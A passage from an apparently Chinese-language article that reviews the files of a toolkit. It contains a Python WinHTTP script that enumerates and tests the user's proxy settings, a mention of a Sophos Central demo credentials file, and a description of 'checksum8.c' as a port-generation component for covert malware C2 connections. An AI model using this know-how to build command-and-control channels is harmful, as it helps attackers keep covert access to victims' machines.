#d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hSession </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpOpen&#39;</span></span><span leaf="">)</span><span leaf="">        sys.exit()</span><span leaf="">    WINHTTP_AUTOPROXY_AUTO_DETECT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000001</span></span><span leaf="">    WINHTTP_AUTO_DETECT_TYPE_DHCP = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000001</span></span><span leaf="">    WINHTTP_AUTO_DETECT_TYPE_DNS_A = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000002</span></span><span leaf="">    WINHTTP_AUTOPROXY_CONFIG_URL = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000002</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pProxyConfig.fAutoDetect:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n  (1) Automatically detect settings (enabled)&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [*] Trying to get the proxy using the conventional method...&#39;</span></span><span leaf="">        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()</span><span leaf="">        pProxyInfo = WINHTTP_PROXY_INFO()</span><span leaf="">        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT</span><span leaf="">        pAutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A</span><span leaf="">        pAutoProxyOptions.lpszAutoConfigUrl = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)</span><span leaf="">        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">            ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpGetProxyForUrl&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n      [*] Trying to get the proxy using the AutoConfigURL...&#39;</span></span><span leaf="">            dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A</span><span leaf="">            ppwszAutoConfigUrl = ctypes.wintypes.LPWSTR()</span><span leaf="">            result = ctypes.windll.winhttp.WinHttpDetectAutoProxyConfigUrl(dwAutoDetectFlags, ctypes.byref(ppwszAutoConfigUrl))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">                ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpDetectAutoProxyConfigUrl&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Trying to get the proxy from the obtained URL (%s)&#39;</span></span><span leaf=""> % ppwszAutoConfigUrl.value</span><span leaf="">                pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL</span><span leaf="">                pAutoProxyOptions.dwAutoDetectFlags = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">                pAutoProxyOptions.fAutoLogonIfChallenged = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">                pAutoProxyOptions.lpszAutoConfigUrl = ppwszAutoConfigUrl</span><span leaf="">                result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Proxy: %s&#39;</span></span><span leaf=""> % (pProxyInfo.lpszProxy)</span><span leaf="">                    proxy_list.append(pProxyInfo)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">                    ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpGetProxyForUrl&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Proxy: %s&#39;</span></span><span leaf=""> % (pProxyInfo.lpszProxy)</span><span leaf="">            proxy_list.append(pProxyInfo)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pProxyConfig.lpszAutoConfigUrl:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n  (2) Use automatic configuration script (%s)&#39;</span></span><span leaf=""> % pProxyConfig.lpszAutoConfigUrl</span><span leaf="">        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()</span><span leaf="">        pProxyInfo = WINHTTP_PROXY_INFO()</span><span leaf="">        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL</span><span leaf="">        pAutoProxyOptions.dwAutoDetectFlags = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">        pAutoProxyOptions.fAutoLogonIfChallenged = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">        pAutoProxyOptions.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl</span><span leaf="">        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)</span><span leaf="">        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">            ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpGetProxyForUrl&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Proxy: %s&#39;</span></span><span leaf=""> % (pProxyInfo.lpszProxy)</span><span leaf="">            proxy_list.append(pProxyInfo)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pProxyConfig.lpszProxy:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n  (3) Use a proxy server for your LAN&#39;</span></span><span leaf="">        pProxyInfo = WINHTTP_PROXY_INFO()</span><span leaf="">        WINHTTP_ACCESS_TYPE_NAMED_PROXY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">        pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY</span><span leaf="">        pProxyInfo.lpszProxy = pProxyConfig.lpszProxy</span><span leaf="">        pProxyInfo.lpszProxyBypass = pProxyConfig.lpszProxyBypass</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Proxy: %s&#39;</span></span><span leaf=""> % pProxyConfig.lpszProxy</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;      [+] Proxy Bypass: %s&#39;</span></span><span leaf=""> % pProxyConfig.lpszProxyBypass</span><span leaf="">        proxy_list.append(pProxyInfo)</span><span leaf="">    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> proxy_list</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">CheckProxyStatus</span></span><span style="line-height: 26px;"><span leaf="">(proxyInfo, target_server, target_port)</span></span><span leaf="">:</span></span><span leaf="">    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hSession </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpOpen&#39;</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">    server_name = ctypes.c_wchar_p(target_server)</span><span leaf="">    INTERNET_DEFAULT_HTTP_PORT = target_port</span><span leaf="">    hInternet = ctypes.windll.winhttp.WinHttpConnect(hSession, server_name, INTERNET_DEFAULT_HTTP_PORT, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hInternet </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpConnect&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">    WINHTTP_FLAG_BYPASS_PROXY_CACHE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000100</span></span><span leaf="">    WINHTTP_FLAG_SECURE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00800000</span></span><span leaf="">    dwFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE</span><span leaf="">    pwszVerb = ctypes.c_wchar_p(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;GET&#39;</span></span><span leaf="">)</span><span leaf="">    pwszObjectName = ctypes.c_wchar_p(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">)</span><span leaf="">    hRequest = ctypes.windll.winhttp.WinHttpOpenRequest(hInternet, pwszVerb, pwszObjectName, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, dwFlags)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hRequest </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpOpenRequest&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">    WINHTTP_OPTION_PROXY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">38</span></span><span leaf="">    result = ctypes.windll.winhttp.WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, ctypes.byref(proxyInfo), ctypes.sizeof(proxyInfo))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpSetOption&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">    WINHTTP_NO_ADDITIONAL_HEADERS = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">    WINHTTP_NO_REQUEST_DATA = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">    result = ctypes.windll.winhttp.WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, WINHTTP_NO_REQUEST_DATA, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpSendRequest&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">        WINHTTP_QUERY_STATUS_CODE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">19</span></span><span leaf="">        WINHTTP_QUERY_STATUS_TEXT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">        WINHTTP_QUERY_RAW_HEADERS_CRLF = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">22</span></span><span leaf="">        WINHTTP_HEADER_NAME_BY_INDEX = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">        WINHTTP_NO_HEADER_INDEX = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">        dwInfoLevel = WINHTTP_QUERY_RAW_HEADERS_CRLF</span><span leaf="">        lpdwBufferLength = ctypes.wintypes.DWORD()</span><span leaf="">        lpdwIndex = ctypes.wintypes.DWORD()</span><span leaf="">        result = ctypes.windll.winhttp.WinHttpReceiveResponse(hRequest, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result:</span><span leaf="">            result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,</span><span leaf="">                                                               WINHTTP_HEADER_NAME_BY_INDEX, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf="">                                                               ctypes.byref(lpdwBufferLength),</span><span leaf="">                                                               WINHTTP_NO_HEADER_INDEX)</span><span leaf="">            ERROR_INSUFFICIENT_BUFFER = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">122</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ctypes.GetLastError() == ERROR_INSUFFICIENT_BUFFER:</span><span leaf="">                lpBuffer = ctypes.create_string_buffer(lpdwBufferLength.value)</span><span leaf="">                result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,</span><span leaf="">                                                                   WINHTTP_HEADER_NAME_BY_INDEX, ctypes.byref(lpBuffer),</span><span leaf="">                                                                   ctypes.byref(lpdwBufferLength),</span><span leaf="">                                                                   WINHTTP_NO_HEADER_INDEX)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result:</span><span leaf="">                    line = lpBuffer.raw.replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;x00&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">).split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n&#39;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf="">                    space_1 = line.find(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">)</span><span leaf="">                    space_2 = line.find(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">, space_1+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf="">                    code = line[space_1:space_2].strip()</span><span leaf="">                    text = line[space_2:].strip()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;t[*] HTTP Query Status Code / Text: nt    %s / %s&#34;</span></span><span leaf=""> % (code, text)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> code != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;200&#34;</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">    ctypes.windll.winhttp.WinHttpCloseHandle(hRequest)</span><span leaf="">    ctypes.windll.winhttp.WinHttpCloseHandle(hInternet)</span><span leaf="">    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf="">    result, pProxyConfig = GetCurrentProxies()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">        sys.exit()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n[*] We got the proxy configuration.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pProxyConfig </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;[*] No proxy setting found for the current user.&#39;</span></span><span leaf="">        sys.exit()</span><span leaf="">    target_server = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;www.google.com&#39;</span></span><span leaf="">    target_url = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;http://&#39;</span></span><span leaf=""> + target_server</span><span leaf="">    target_port = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">80</span></span><span leaf="">    proxy_list = GetProxyInfoList(pProxyConfig, target_url)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n[*] Number of proxies: %s&#39;</span></span><span leaf=""> % str(len(proxy_list))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n[*] Testing if proxy servers actually work...&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> proxy </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> proxy_list:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n    [*] Proxy &#34;%s&#34; ... &#39;</span></span><span leaf=""> % proxy.lpszProxy</span><span leaf="">        result = CheckProxyStatus(proxy, target_server, target_port)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;        [+] Works! :)&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;        [-] Does not work :(&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf="">    main()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">sofo.txt</span></strong><span leaf="">:</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Sophos Central的demo用户名和密码文件。。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.23294723294723294" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=50290685&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0jELO5ibOe3D5Dh0ibzfuliaQ0rjyI1kG5IHJk09HAFpPVicRIY3OC7M0Hg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.5055555555555555" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dcdb7d6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0htyk6uicWU4WLvvVOnojIxxP8NgvDHk4gBA2l1xsFOm5km3PUiavgo7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">checksum8.c</span></strong><span leaf="">:</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这段代码是一个用于隐蔽通信的端口生成和验证工具的客户端部分。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">用途:</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">恶意软件C2通信: 一个木马或后门程序可以在受害者机器上运行generate_port，计算出当天或当次会话应该连接哪个端口，然后向该端口发起连接。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 